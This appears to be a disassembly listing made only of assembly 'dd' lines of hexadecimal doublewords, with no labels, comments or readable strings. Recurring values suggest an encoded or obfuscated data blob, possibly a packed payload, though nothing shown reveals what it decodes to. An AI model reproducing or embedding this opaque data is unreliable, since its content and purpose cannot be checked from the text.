dd 76A03D15h, 8F113215h, 6688321Eh, 900A2050h, 722F556Ch
dd 933AAC2Bh, 668C8F40h, 8C453215h, 0E5061E9Eh, 0E21E36D1h
dd 66883214h, 0D3FB65EDh, 0E70ED621h, 0B14BA1DAh, 467B304h
dd 0E736B211h, 0DF060CDAh, 91C6C506h, 0E64FB3C2h, 4F603294h
dd 5DD76DECh, 0CE0B6B98h, 0FC0D3D12h, 69BBCDEAh, 66223395h
dd 0D946CB15h, 6EA719CCh, 50DF8946h, 0BDD56401h, 84ADC194h
dd 0BE0193D1h, 39BC034Eh, 6638BB1Ah, 8F713215h, 66883206h
dd 91880E1Eh, 6DFD6E4h, 0CE9990A9h, 996C48h, 7C09497h
dd 286FBF98h, 0E61E35BDh, 66883202h, 664420FCh, 8B4C2515h
dd 21F01C7Eh, 0D22101C5h, 0C045466Dh, 8F0E3B0Ch, 6611321Eh
dd 2B6121E9h, 0BB40E7Ah, 992F7049h, 619B3DF4h, 69883215h
dd 6644339Ah, 0EBABCB15h, 61B90118h, 429CB9E0h, 0E7A6BB47h
dd 662236D7h, 62D3B315h, 0E1883215h, 8F181601h, 66223219h
dd 38C41095h, 0AD2AE30Ch, 0C1C082BBh, 35063E9Eh, 0A590D19Ch
dd 66883211h, 6640F194h, 7AA53215h, 69F86E31h, 3F883215h
dd 0C960074Bh, 136151D0h, 54AC43C5h, 0DFE860FFh, 5D1BC200h
dd 0D21AA9ABh, 0E979532Ah, 0EF883266h, 0E34B1621h, 66223200h
dd 661122FCh, 8A007415h, 0B33F7262h, 0C5FB95E8h, 3A6BE919h
dd 0D715B9F4h, 69439A1Bh, 66223E90h, 0DF775215h, 86093B9Bh
dd 423C8EAEh, 0E711CD74h, 56541611h, 34D10693h, 0E07477AFh
dd 3CF31B21h, 75F86075h, 5E883215h, 2EC69A12h, 43A3F185h
dd 8747D12h, 142E2A46h, 8E1C1899h, 6622321Eh, 0A3F4E21h
dd 84AA75C6h, 0ECD086F0h, 9A436CDEh, 551CB79Eh, 0E68735BDh
dd 66443211h, 70D8275h, 77F8D2C4h, 25883215h, 67B5B8C9h
dd 63DC052Ch, 18649B67h, 0FEF02AF0h, 6CADB716h, 0E12D35BDh
dd 66113210h, 7E8CB75h, 8FB20374h, 66223210h, 0E08250Bh
dd 57780348h, 9AB403D3h, 72CB9F73h, 0E4113215h, 0BBE0AB60h
dd 0AF948FFAh, 3976113Ah, 0CE21F627h, 0A73CE000h, 65B130F5h
dd 0CE062F90h, 0E541C712h, 520136F9h, 8F1A6A31h, 6622321Ah
dd 578566EFh, 4386EA44h, 0AFC54DCBh, 0CB566FFBh, 6616B01Ah
dd 0EB873215h, 66443214h, 6636DBE0h, 0FCB93215h, 60FF30AAh
dd 9E467430h, 9204E2E1h, 429BF363h, 0E58D205Fh, 6743D365h
dd 5E9860DDh, 242CC67Bh, 8449E0E2h, 94C57010h, 20B17A57h
dd 8F4BE23Ch, 6688321Ah, 28E43C78h, 386D8C1h, 1805FF00h
dd 99962963h, 0E51A1621h, 0E5DA36D1h, 0CE1E1FA8h, 0E2873312h
dd 664432BCh, 0F8B975h, 5D70F99Eh, 0CE90A798h, 0F0C03D12h
dd 93223215h, 7824BF2Eh, 0E28735BDh, 6644329Ch, 8FA98075h
dd 66113204h, 0FB9BC277h, 21D8F5EAh, 393DCDB0h, 0F7E1202h
dd 0EBB35322h, 61EC316Ch, 6641B61Ah, 8F713215h, 66883218h
dd 0C3EFD947h, 78987E4Eh, 37DB25ACh, 0A50352D6h, 725F09Fh
dd 5D6DAF98h, 99E935A5h, 0E7D8CBC6h, 1A4A1639h, 5AA93FD5h
dd 62D5B331h, 0E7883215h, 0A6383CD2h, 0E3ABCE18h, 61B91DA4h
dd 668839FCh, 40D9EA15h, 0D2A22B6Ah, 863E0294h, 66A92EFCh
dd 6643DB15h, 8AD83215h, 18ED91DCh, 2915BFBBh, 9343822Eh
dd 0E92DE1EAh, 66113214h, 61013DEDh, 69443215h, 66223397h
dd 0DB92C715h, 61203D38h, 1DC03D15h, 8F223215h, 66113218h
dd 532A11A8h, 0D3C07C45h, 0AD9D2B41h, 0B7940960h, 698F9A3Dh
dd 66441991h, 0CD955215h, 6605B51Ah, 69613215h, 28443215h
dd 0EE9A55ABh, 0C78E982Bh, 66D1D608h, 5D2530B0h, 0CE39A390h
dd 55943D12h, 93883215h, 99BB0DFCh, 0EC2D52EAh, 66113217h
dd 69605375h, 7C443215h, 7AC206EFh, 0D7E63EEAh, 0CCD3A996h
dd 6FAD6D9Fh, 4E223215h, 69526FE2h, 0B37BCD3Ch, 0E37F534Eh
dd 618A376Ch, 6666B71Ah, 75613215h, 58443215h, 4987C575h
dd 0BD7899DAh, 0FA5858F4h, 29F92EEBh, 0DBA1858Eh, 61B934B0h
dd 690C3D15h, 93443215h, 765B8F96h, 691135BDh, 66887691h
dd 0E3C9C715h, 618D5D28h, 66113CFCh, 0F7D0F115h, 48B2CF5Fh
dd 63F09E93h, 62F928Bh, 0CD0D8973h, 3E1F6343h, 9888DB74h
dd 8E71CDEAh, 66883212h, 0FEF11248h, 6975BD8Fh, 66113290h
dd 85096915h, 0A44302Bh, 1FA70974h, 69169A10h, 9976B191h
dd 0DBC7CEEAh, 618DEE88h, 27943D14h, 9A883215h, 0BA95B72Eh
dd 0E32D35BAh, 66113221h, 66883AFCh, 8020FC15h, 0BC4881F8h
dd 8294BF05h, 6886B1Eh, 8D4503AAh, 662DDB17h, 616A3215h
dd 1DBFBE60h, 2784E917h, 34BBFF6h, 59F853CDh, 9A77CDEBh
dd 0E5BDCD24h, 0CE01F3A8h, 0E21E3212h, 66882364h, 0ED225275h
dd 0D12D53E6h, 0E32A53CFh, 6127EEA8h, 667DB71Ah, 0E62D3215h
dd 66113219h, 668EB71Ah, 0E34B3215h, 66223215h, 530CB79Eh
dd 636135BDh, 87443215h, 0CC193504h, 66108C43h, 91893215h
dd 664DDB4Bh, 40DB3215h, 4731BB86h, 5D11D09Bh, 0C998F790h
dd 58A73D12h, 9F113215h, 4C29B79Eh, 0ED4B35BDh, 66223219h
dd 6617B41Ah, 0E4873215h, 66443215h, 99DD8A45h, 0A138CDEAh
dd 6861524Dh, 0D3443215h, 75D82162h, 3DAFDDAh, 32519C07h
dd 0EA4B5398h, 66223214h, 0A79409EDh, 698F9DC9h, 66446690h
dd 6FA73D15h, 6113215h
dd 778D1Ah, 7A962ABh, 65BBB79Eh, 8FE935BDh, 6688321Ch
dd 54F8E2DFh, 6AD94126h, 62FDB326h, 0EF883215h, 62BB1629h
dd 8F426D31h, 66113207h, 563234F7h, 0D1BBFF1Bh, 0BE9B7B50h
dd 43AAABF3h, 0D9873EACh, 0E94B53D3h, 66223214h, 0AF9409E9h
dd 698F9DC9h, 66446490h, 0E92D5215h, 66113210h, 527BB373h
dd 0E3CF53BBh, 618A1EACh, 609A3D75h, 0E7883215h, 35CA98FEh
dd 662ADB35h, 0AC473215h, 5EE5263Fh, 692568A9h, 66223E9Eh
dd 6616DB15h, 4FC33215h, 8B695016h, 9998607Dh, 4FEECDEAh
dd 0E868C2h, 68BCD394h, 52D5E894h, 5D700412h, 0C954FF90h
dd 3DC13D12h, 8F223215h, 66113204h, 7430331Bh, 4FA74F16h
dd 1C67EC5Eh, 0E9E5773h, 8FE85276h, 66443210h, 29FC471Ch
dd 0AE9A5327h, 0E70DB974h, 6439A37h, 3D148B73h, 0B89FD94h
dd 6E96312h, 0BF8FB373h, 66A83DEAh, 7113215h, 99778A45h
dd 0A16DCDEAh, 61AB3D4Dh, 69113215h, 66883393h, 0E37FCA15h
dd 618DEEC4h, 6634B71Ah, 6F613215h, 0D9443215h, 0CB7AED89h
dd 7E0DD958h, 426DB79Eh, 0EB4B35BDh, 66223214h, 67AF64E9h
dd 67883215h, 5DB16CE2h, 0C9FEE790h, 4E943D12h, 69883215h
dd 66443398h, 0D442CB15h, 94905425h, 0EDE9FA61h, 0CE54D390h
dd 0E7D75212h, 734BEDD4h, 0A1B95329h, 0A175CA24h, 5DDBA555h
dd 0C9CDEB90h, 90D3D12h, 93443215h, 0AA985475h, 661DDB4Dh
dd 0B0D93215h, 99B77B6Ah, 50266948h, 0ED7063BCh, 0CE8E1F90h
dd 6650DB12h, 6BF43215h, 0C6598018h, 47899ADh, 361A8899h
dd 0CD386724h, 0DD42449Fh, 170D76EFh, 1E7CD194h, 0E7696130h
dd 603570FEh, 6463F325h, 0E74CD1D4h, 5F20CDD6h, 3DCE1BD5h
dd 6698B41Ah, 0EA4B3215h, 6622321Fh, 661137FCh, 0EBAF3A15h
dd 0E37FFD10h, 618DEEC8h, 6634B71Ah, 6C613215h, 2D443215h
dd 0D2B51E6Fh, 94F1184Bh, 0F0DB930h, 6439A25h, 98A9FA9Eh
dd 99A96274h, 4F77CDEAh, 5DB16AD2h, 0C9FED390h, 26943D12h
dd 69883215h, 66443F9Fh, 662ADB15h, 8AB53215h, 1F98F5C6h
dd 77AD9B7Ch, 9B223215h, 1363CBEDh, 1763221Ch, 0FCC0F7D3h
dd 673AB646h, 4FD0B79Eh, 317035BDh, 67603694h, 39223215h
dd 6610B11Ah, 5D743215h, 0C998DB90h, 4DA73D12h, 69113215h
dd 6688359Bh, 67CA3D15h, 9A223215h, 0F394B9E9h, 68F9A0Ch
dd 0FC95B373h, 8DA354AAh, 3770CCE3h, 9977CDACh, 3F8B1BEAh
dd 0E319C7E9h, 61BEEEF0h, 66B6B71Ah, 0E5BC3215h, 0CE0003A8h
dd 0E31E3212h, 66883225h, 23C1B9EDh, 6259A37h, 69D08D1Ah
dd 69E9F5A2h, 66443390h, 0DB77CA15h, 66113214h, 8FD5DD14h
dd 66443219h, 438BB06Eh, 0EDF9FC6Ah, 0D99ACE02h, 567D8F96h
dd 692235BDh, 66114C91h, 0E3B3CE15h, 61EBEF64h, 6653B71Ah
dd 69F83215h, 7B883215h, 0D5F34FFAh, 0AD4838A1h, 8FDDDC63h
dd 75613BA5h, 0A1443215h, 14B3E240h, 0DDDFA248h, 0DBC9E0E5h
dd 810D657h, 0E3A96D59h, 61B936C8h, 60093D75h, 0E7443215h
dd 7AE663CAh, 0E777523Dh, 3FDAE5h, 4166D294h, 0DB775374h
dd 66113214h, 69D5DD14h, 6644249Eh, 0DC445215h, 6DF8B4E3h
dd 0A7883215h, 0F2DDBBEFh, 704A9E31h, 0E5707B6Fh, 0CEAF93A8h
dd 0E24B3212h, 66223095h, 7C993D75h, 8E883215h, 66443201h
dd 29A28863h, 6D5CFF51h, 7435A3A0h, 237E03h, 981ECF1Dh
dd 12018D4Dh, 6E9200Eh, 66443FFCh, 59D92615h, 0CF2F4B3Ah
dd 978EB9FCh, 6DACF150h, 0D223215h, 0A0B1648Ch, 0A86D2ED3h
dd 6BAC1963h, 74223215h, 909E6126h, 0E4828E9Dh, 5B1BB7F7h
dd 0E543694Ah, 0CE329BA8h, 0E2873212h, 66443001h, 0BCA95475h
dd 6611B21Ah, 9FE93215h, 0BB11B72Eh, 0E32D35BAh, 66113242h
dd 0AF0DB9ECh, 8F439A1Ch, 6622321Ch, 2C078A50h, 0E29CB1C9h
dd 77C03D1Eh, 8F223215h, 66113219h, 2582CD3Fh, 7B935E07h
dd 5C22BA9Fh, 2D6D8946h, 0AD096770h, 748B41D6h, 5FA4C194h
dd 0AD90760Fh, 6C0F5089h, 1DFAD194h, 85E35CF6h, 19E2B310h
dd 4F2BA1BDh, 5DBC69CAh, 0C9FF5790h, 55943D12h, 8F883215h
dd 66443206h, 0AA82EE34h, 0BA3F5E0Eh, 76A9F892h, 0DCD75B26h
dd 0EDD92D2Eh, 0CE18CB90h, 0E7EE5212h, 35840CDDh, 77A6A46h
dd 99EE8A45h, 0A1A1CDEAh, 0E37FCE4Dh, 618DEF4Ch, 665BB71Ah
dd 6D613215h, 4A443215h, 0FA341066h, 0E35F6191h, 0E3039766h
dd 61EC0240h, 66223EFCh, 9C506B15h, 733F7D1Ch, 53B84232h
dd 0E744529Fh, 75FE6DAh, 66898A45h, 0A1453215h, 0A1A3524Dh
dd 52C904F5h, 668837FDh, 0AFC45615h, 77D61EAh, 0BB78B72Eh
dd 0E38735BAh, 66443239h, 6BA7B9EDh, 8F169A1Fh, 6688321Ch
dd 171858D0h, 5F7D9384h, 394365E0h, 0B10F704Fh, 664439FCh
dd 9D787615h, 73280D20h, 730384BCh, 0BB29B72Eh, 0E32D35BAh
dd 66113236h, 8F0DB9EDh, 6439A26h, 0C6CD8A73h, 99A86374h
dd 4F77CDEAh, 69246BDAh, 6622339Dh, 3742CA15h, 5DE9694Fh
dd 0C9996F90h, 29A73D12h, 8F113215h, 66883213h, 0A193349Ch
dd 0E3A9BB71h, 61B913ACh, 668826FCh, 69228615h, 2972627h
dd 9D7E3092h, 340510DDh, 0FF02D83Bh, 4998604Eh, 0A74E7531h
dd 840937F7h, 5EFE59DFh, 981DC094h, 0B138E54Ah, 61043D4Fh
dd 6443215h, 6FBB973h, 0E32A5374h, 6127EF74h, 6606B71Ah
dd 423215h, 6944AEADh, 66883192h, 0BCCF5415h, 33A7B974h
dd 8F169A20h, 6688321Eh, 7F66AE21h, 0FB13418h, 69BEE226h
dd 66883E90h, 60C13D15h, 69223215h, 66113292h, 67316315h
dd 67443215h, 9EDB6BDAh, 45B88F96h, 698835BDh, 664E9E91h
dd 69425215h, 7E9F8AAh, 0DB3BF994h, 5D2529D2h, 0C9FEDF90h
dd 50943D12h, 69883215h, 6644249Dh, 6633DB15h, 7BD23215h
dd 0CC47FA8Bh, 9098DD63h, 43B5419Ah, 0ED4A0B48h, 0CEBD3390h
dd 6641DB12h, 1D8B3215h, 57574F99h, 577103DAh, 0A9C373DAh
dd 0E7A709EDh, 69169DC8h, 66886390h, 664ADB15h, 0DB283215h
dd 3C2D4B88h, 0C8F7F716h, 325835C9h, 63CBB79Eh, 697135BDh
dd 66883498h, 66CC3D15h, 69223215h, 66113998h, 668EDB15h
dd 87483215h, 0A1F07460h, 67A96274h, 67883215h, 8F246AD2h
dd 66223210h, 5B70D4A5h, 0DB315405h, 0E37F53CDh, 618DEEE4h
dd 663DB71Ah, 6E613215h, 8C443215h, 8EC31B9Ch, 0EDA984D1h
dd 0CEBB0790h, 63C73D12h, 6223215h, 74864EDh, 99778946h
dd 0B96DCDEAh, 93A8524Eh, 0E32A53EDh, 6127EEE0h, 6618B71Ah
dd 8F423215h, 66113201h, 0A76992F2h, 0F79372D6h, 0C5E3F3FAh
dd 670DB061h, 0FFCA02ABh, 3FC1B974h, 69259A27h, 66112091h
dd 6685DB15h, 927E3215h, 0FCD3477Fh, 8525A9ABh, 36E32103h
dd 596420ADh, 0B9CD3753h, 0A1108BD5h, 6961CB4Dh, 6B443215h
dd 21BF192Ch, 64C8A609h, 1D1C4494h, 0E37F0A9Ch, 618DEEECh
dd 664FB71Ah, 0E2873215h, 6644320Fh, 6632DB75h, 2123215h
dd 72C8B8D0h, 6D6F6D16h, 8B3D6F0Eh, 0B6916787h, 0E30353A4h
dd 61EC1EDCh, 663AB71Ah, 75F83215h, 6E883215h, 5BECDA30h
dd 0AD3E5E44h, 30043645h, 0C612A981h, 0E14B3A0Fh, 6622321Fh
dd 661137FCh, 9B03415h, 0DF150824h, 99DDCDEAh, 9348FD3Ch
dd 0BA75B72Eh, 0E34B35BAh, 66223248h, 661139FCh, 6A942D15h
dd 0A2346DF7h, 215D46EBh, 44208F96h, 698835BDh, 66447290h
dd 0EC715215h, 0A19A6DDBh
dd 930DB974h, 69439A1Ah, 66223E94h, 0E7775215h, 0DCA66DD7h
dd 0B6637AAh, 679A6274h, 67113215h, 0EA876AD2h, 66443204h
dd 66223EFCh, 0F4633615h, 5614B0E1h, 3846D625h, 67A709BDh
dd 69169DC8h, 66880390h, 0E3CFCE15h, 618A1720h, 66113AFCh
dd 0AD5C6715h, 0C586663Dh, 67AA3D3Ah, 9A113215h, 9BB9DD24h
dd 0E101DD24h, 61AA3DFAh, 69113215h, 66883396h, 0E37FCE15h
dd 618DEF10h, 665AB71Ah, 0E2873215h, 66443214h, 579FB1E0h
dd 66169A37h, 66BFB71Ah, 9ABC3215h, 7633B79Eh, 0E77135BDh
dd 8601AE5h, 8F24532Dh, 66223213h, 72BF95B9h, 6861DD54h
dd 0EF443215h, 9B3653Bh, 98CB7285h, 0C96B69A7h, 0E513535Fh
dd 39231611h, 6F9409ECh, 698F9DC8h, 66446A90h, 662FDB15h
dd 90303215h, 0CB5BE02Fh, 0B7B2E473h, 0ED671994h, 0CE35F390h
dd 0E0875212h, 66443217h, 6DCA7EA5h, 3113215h, 5BD199CAh
dd 0C22D98CDh, 8FA36507h, 134E6E93h, 0DFD9534Fh, 99BBCDEAh
dd 8F7BFD3Ch, 66113204h, 1DB08088h, 1433ECB8h, 57A00126h
dd 0A786DD62h, 6B0D09CCh, 69439DC8h, 66227F90h, 90AA5215h
dd 0D6D6F7BBh, 0E3CF534Fh, 618A3CCCh, 99AA61EDh, 4F77CDEAh
dd 0E84B69CAh, 6622320Fh, 6601DB75h, 0CB423215h, 1A0B7AE2h
dd 3F2FB2Eh, 79C5AB5Ch, 0D98781CFh, 69AD53E7h, 0B8223215h
dd 58FB8483h, 3A86A301h, 97FD820h, 0E3192F0Fh, 61BEEF00h
dd 66FFB71Ah, 68AD3215h, 29223215h, 3AF82202h, 511F57ABh
dd 0A8239609h, 579FB175h, 66169A37h, 66DFB71Ah, 0EDB13215h
dd 0CE382B90h, 0EE1E5212h, 6688321Eh, 664434FCh, 7877AF15h
dd 0DEC58877h, 206A7595h, 6654DB74h, 0B6E03215h, 4D7190F1h
dd 0E7FD48BFh, 0CD8740F2h, 0B1A55D48h, 99EED894h, 0B10FCDEAh
dd 664426FCh, 5BE52415h, 2CA166F3h, 2A19D0C3h, 1DFBBBFDh
dd 189A6FDFh, 77940927h, 698F9DC8h, 66447490h, 6628DB15h
dd 467D3215h, 0CE04CAFFh, 8DC5A344h, 44138F96h, 691135BDh
dd 66881890h, 6643DB15h, 0E13F3215h, 0CCEC2470h, 330DB9C9h
dd 6439A37h, 93F98D1Ah, 67A96274h, 67883215h, 246AD2h
dd 695A68AEh, 5D70E0AAh, 0C9552B90h, 6C13D12h, 69223215h
dd 66112893h, 720E3D15h, 8F443215h, 6622321Ah, 0FA0CBB53h
dd 8ED14EA0h, 3CC3779h, 0ED3DD8E4h, 0CE368790h, 7E033D12h
dd 8F443215h, 66223206h, 7C846BC6h, 3CFD5F7Eh, 7C025FF7h
dd 0C09EF62Bh, 33723C7Bh, 9977CDA8h, 3BAB1BEAh, 66223CFCh
dd 3452F815h, 0E3CB8161h, 9FB1B9C3h, 5D9C2040h, 0C9CC2F90h
dd 2A0D3D12h, 6443215h, 662221FCh, 0C83F1C15h, 2D48B7C8h
dd 4BD1D852h, 5384C703h, 0CBCBEB69h, 660D3D44h, 3D443215h
dd 0BBA7B974h, 6169A33h, 69DA1AA0h, 71FEBA2h, 66238946h
dd 0B9103215h, 6061524Eh, 17443215h, 4C0CA029h, 87408D85h
dd 5DE92986h, 0C9991390h, 3EA73D12h, 69113215h, 66882C9Bh
dd 7EC43D15h, 8F223215h, 66113206h, 0CE4366FAh, 0F7DC30B3h
dd 47CC771Fh, 0A83718D9h, 0ED72E164h, 0CE445B90h, 0D75212h
dd 7822C594h, 67366474h, 67443215h, 0E52D6CE2h, 66113202h
dd 668820FCh, 36098215h, 92A1CEA3h, 2A55C2E8h, 8678ABB8h
dd 5D5D8B2Dh, 0C9FF1790h, 26943D12h, 6883215h, 6641DB46h
dd 0F02E3215h, 3E0F2431h, 395D47AAh, 0EDB85349h, 0CE0B1790h
dd 70923D12h, 8F883215h, 66443204h, 0BEBF3088h, 8CB3E41Fh
dd 0D859EFF7h, 1C219195h, 999C6493h, 4FEECDEAh, 5D716CE2h
dd 0C9991B90h, 24A73D12h, 8F113215h, 66883207h, 0B5787237h
dd 0BED0B782h, 0BFD8A0ECh, 0F974E038h, 0E3CF1B96h, 618A2B08h
dd 6615BA1Ah, 0EDE83215h, 0DF1553D6h, 66223214h, 6948FD14h
dd 66883E9Fh, 60CD3D15h, 69223215h, 66113296h, 4B0D0915h
dd 69439DC8h, 66220B90h, 661FDB15h, 921C3215h, 5D6EE949h
dd 3C3940BAh, 0EF68C29Dh, 6E55B79Eh, 30BC35BDh, 0A62BC8ABh
dd 90907C03h, 1C7E1670h, 138BF494h, 286C310Eh, 3A87F494h
dd 91A1A2BBh, 0E37FC74Bh, 618DEF24h, 660FB71Ah, 0EF873215h
dd 66443214h, 2FA7B9ECh, 69169A36h, 66883397h, 0DD17CE15h
dd 99DDCDEAh, 934AED3Ch, 0BBBDB72Eh, 0E34B35BAh, 66223259h
dd 661134FCh, 0C1B4A615h, 0EDD12CABh, 0CE2A2F90h, 6618DB12h
dd 75E93215h, 0EFA98629h, 8F064E9Fh, 66113212h, 0F229F63Ch
dd 36A52F59h, 662233ADh, 3ED63315h, 668821FCh, 5B5AE415h
dd 56501022h, 0B5177F23h, 91D6B914h, 10D2ACD6h, 4303B72Eh
dd 0E31E35BDh, 66883229h, 664435FCh, 0A227815h, 47BB9C8h
dd 69F5B79Eh, 2435BDh, 0B4BFACh, 7A53BABh, 2788847h, 94C55E36h
dd 0F5FEA91Ah, 8F4BE53Ch, 66883219h, 7B432167h, 6C953C6Fh
dd 0C1A4DB9Eh, 0BBB1B72Eh, 0E34B35BAh, 66223225h, 0F3AE5275h
dd 8EBF7DAAh, 66443213h, 0FDE96B6h, 748C0E3h, 0EDE9C09Eh
dd 0CE5C5B90h, 91A5C712h, 0E1EEDC96h, 668EDBE2h, 92753215h
dd 1243EDEEh, 0BB64B72Eh, 0E38735BAh, 66443284h, 66223BFCh
dd 0FBC8AB15h, 0EBCFC628h, 0DBC7A930h, 618DEF68h, 58943D15h
dd 6883215h, 0E28FB373h, 6629DAE9h, 6F413215h, 89C55BF0h
dd 87F44378h, 38C1B824h, 4BACB174h, 668F9A1Ah, 660BB61Ah
dd 0DF423215h, 3F81E42Eh, 668835FDh, 0C3DB3C15h, 1431FD12h
dd 3CDA851Ah, 0DF0DB974h, 9F439A36h, 6625B11Ah, 713215h
dd 7E8C89Eh, 99F96774h, 4FDDCDEAh, 0E7716FFAh, 9EAFC1FFh
dd 7D9FB32Fh, 708B71Ah, 66113AFCh, 9B776115h, 0B9AB3D4Ch
dd 1FA70920h, 69169DC8h, 66889190h, 0DBC7CA15h, 618DEF68h
dd 59943D15h, 69883215h, 66442296h, 6629DB15h, 466F3215h
dd 80769419h, 401E4302h, 4B9FB16Bh, 66169A1Ah, 66FAB61Ah
dd 0ED4B3215h, 66223203h, 6601BE1Ah, 6D613215h, 4A443215h
dd 0F7A34516h, 0F9D38A44h, 0E303481Ch, 61EC28B4h, 662235FCh
dd 6981F615h, 0EC5471A9h, 64C13D75h, 6223215h, 6600DB74h
dd 0DA283215h, 87AF5277h, 6EF3AD0Fh, 9211306Bh, 70DBDADh
dd 1C0F8F40h, 8BE30683h, 0BD4B317h, 4F7AE874h, 6BAD6FFAh
dd 0A2223215h, 7F20FE83h, 4A77CEA7h, 74C04F7Fh, 0BB1FB72Eh
dd 0E31E35BAh, 66883229h, 66443DFCh, 0DCD08D15h, 36B6FC51h
dd 12CC6AF5h, 0ED5642E8h, 7D2BB79Eh, 0E11E35BDh, 66883211h
dd 78BB975h, 66238946h, 0B9103215h, 6F033D4Eh, 6443215h
dd 66AD3DECh, 7113215h, 0BBC9B72Eh, 0E34B35BAh, 6622324Fh
dd 660DB51Ah, 0E83215h, 8CE8D894h, 662222FCh, 0BF179115h
dd 18592F69h, 9AE82A3Ch, 0BC591DC4h, 0E31E53B2h, 66883214h
dd 0BBC1B9ECh, 69259A1Ch, 6611359Ah, 0BA085215h, 79BB9DAh
dd 0A4A3E592h, 66113214h, 6861E592h, 89443215h, 8B79569Ch
dd 2B2F8703h, 0A55EBF6Bh, 0E37FC73Ah, 618DEF50h, 6626B71Ah
dd 75613215h, 58443215h, 0D0DFB8D5h, 5AAE0692h, 0F55EB5h
dd 21578033h, 0E3A96AF7h, 61B90630h, 6681BA1Ah, 9E243215h
dd 0D44FC494h, 30707E91h, 9977CDABh, 38B31BEAh, 2FA709ECh
dd 69169DC8h, 66880E90h, 0E3CFC715h, 618A1C10h, 661135FCh
dd 0FD56715h, 0B85A2B00h, 7F068946h, 2D5206B4h, 0A7CBE9E2h
dd 95C534F6h, 0B19B8554h, 694AED14h, 66883E9Dh, 60CF3D15h
dd 69223215h, 6611329Fh, 2B0D0915h, 69439DC8h, 66226690h
dd 6603DB15h
dd 0F7C83215h, 0D4E7E597h, 0B2119F9Bh, 0C886E4ECh, 3D5E2791h
dd 566DB79Eh, 6ACB35BDh, 9D113215h, 1A624E85h, 69178191h
dd 35DE44ACh, 99EECDAEh, 3D571BEAh, 6645BB1Ah, 8FDE3215h
dd 66113204h, 0E1260A1Ah, 1AD10169h, 7541E7ACh, 8C67CD93h
dd 370D096Bh, 69439DC8h, 66225A90h, 6618DB15h, 63273215h
dd 0C5DA74BCh, 8F0FCFBEh, 66113207h, 55827D33h, 3B3FBA5Eh
dd 5A8AE32Ah, 7A4B75EEh, 0E303B62Ch, 61EC0714h, 66223BFCh
dd 23218515h, 0BA26F89h, 0DB1151EBh, 99DDCDEAh, 694CDD3Ch
dd 66882B9Eh, 76AD5215h, 0D9223215h, 1E71ABE8h, 0CB90D205h
dd 6D8E018h, 31EC2B70h, 0E41E534Eh, 66883214h, 69BB39E9h
dd 66221591h, 71CE15h, 0A54FED94h, 0AB87B373h, 0C5CB5362h
dd 69EECDF9h, 6688339Bh, 0EF4BCB15h, 6622321Dh, 6613B61Ah
dd 7E83215h, 61F5B72Eh, 0E32D35BDh, 66113206h, 0D0798775h
dd 0E3C9534Eh, 618D21E7h, 8A61DBE0h, 5D74CDEAh, 0CE69D390h
dd 58A73D12h, 6113215h, 6688B01Ah, 6FAD3215h, 3D223215h
dd 6F9838D8h, 58B27829h, 0FBF9B174h, 67259DC9h, 660AB71Ah
dd 0E6E83215h, 9E2592E1h, 6D45B798h, 71324Ch, 0BAB7F294h
dd 8F25EB9Eh, 99DDDE33h, 0CB9409E0h, 698F9DC9h, 66442591h
dd 62AA3D15h, 6113215h, 5DE9FA9Eh, 0C9988390h, 61A73D12h
dd 93113215h, 9963CFFCh, 0DE14CEEAh, 5385700Bh, 9116DAD4h
dd 124537C5h, 0DE41358Fh, 0EFDAE2CCh, 4215B9D3h, 698CF696h
dd 66443E90h, 60A73D15h, 69113215h, 66883295h, 67BAB115h
dd 66C8B71Ah, 5DE93215h, 0C9549390h, 28C13D12h, 69223215h
dd 66112897h, 72063D15h, 8F443215h, 6622321Ah, 0FB105F6Ah
dd 0DCEA2C40h, 848414C1h, 933B5CDEh, 0E1D5B798h, 0E287324Dh
dd 66443200h, 662222FCh, 7B284515h, 0A3533F19h, 6F9CD0D2h
dd 2971C1E8h, 8D61DB44h, 0DFE8CDEAh, 224E18B8h, 0C3A70974h
dd 69169DC9h, 66880B90h, 664ADB15h, 7ACF3215h, 6F74A22Fh
dd 0FBACC1B5h, 3128A08Fh, 0EE18B798h, 71324Dh, 0C671D894h
dd 7BAB973h, 99C907FCh, 6D913DEAh, 8F883215h, 66443213h
dd 0F61937A4h, 0E32AB129h, 6127EEBCh, 667AB71Ah, 0EBDB3215h
dd 3E994D90h, 0E7EE5215h, 8F5069F4h, 66223205h, 0C30B5515h
dd 0F24CE401h, 91C75FF4h, 0B328B35Bh, 8CE1DB74h, 0EA87CDEAh
dd 66443212h, 6623B71Ah, 6E43215h, 81095443h, 71D140Eh
dd 4226B345h, 1F21760Eh, 0E7AC369Eh, 664436D1h, 22391F15h
dd 93714B25h, 0ED953EDh, 944430Dh, 64C3F34Ch, 0A790D3C4h
dd 0E1744557h, 6ACFFC9Ch, 62E6B331h, 9A113215h, 0E387C41Eh
dd 6644322Dh, 6635BD1Ah, 74F83215h, 5E883215h, 73908D49h
dd 0C30B67B3h, 65C4EB34h, 8F89737Bh, 8C2ADB86h, 77CBCDEAh
dd 0E7113215h, 0C2CF39Dh, 0A3422590h, 97458FD1h, 0B9009E1h
dd 0EF4BBB46h, 4258B9CBh, 6926F696h, 66112B92h, 74615215h
dd 36443215h, 8B50B3F3h, 7C320792h, 89EDB4FCh, 0AA0A1A40h
dd 74CB535Ch, 24113215h, 0C5D8F2D1h, 0ABE8E520h, 20E56BD0h
dd 0B648A689h, 3F3DBB00h, 93439A39h, 6625B21Ah, 0DC713215h
dd 560CF88Fh, 0AFF1BB74h, 69259A27h, 66111294h, 0E0875215h
dd 66443215h, 662221FCh, 0D515F415h, 0E832EEC6h, 0DE6D6C30h
dd 7C0FE37Fh, 5A7F3646h, 6685DB74h, 0B00D3215h, 0ACF21AB2h
dd 6D8C7511h, 0E67631F0h, 0E34BDB2Bh, 662232ECh, 6767CDE0h
dd 0E7AC0E9Eh, 664436D1h, 0BDA35215h, 0EBD8810h, 668823FCh
dd 0C7C51515h, 0E5B5A3FAh, 0C4DE0274h, 279BC63Ch, 0E725CCF9h
dd 0E52F57FAh, 30E63337h, 31FF21ABh, 919AC528h, 88E4B3CBh
dd 0E77CAB49h, 0B4EAEFBh, 38B3339Dh, 6637BD1Ah, 69713215h
dd 6688329Ch, 664CDB15h, 3A723215h, 0F3288D42h, 6E9646Fh
dd 405BFA94h, 86A3346Ch, 3306A2F1h, 0DDDB6474h, 0F69219Dh
dd 62066E3Ch, 0A590694Eh, 0FA5219Dh, 66443DFCh, 0A3533A15h
dd 3710EB20h, 89C31ADDh, 0CAB3130Eh, 6603E67Dh, 4225BB15h
dd 66C832ABh, 38B73315h, 662223FCh, 7A0F9515h, 6ECEC9C8h
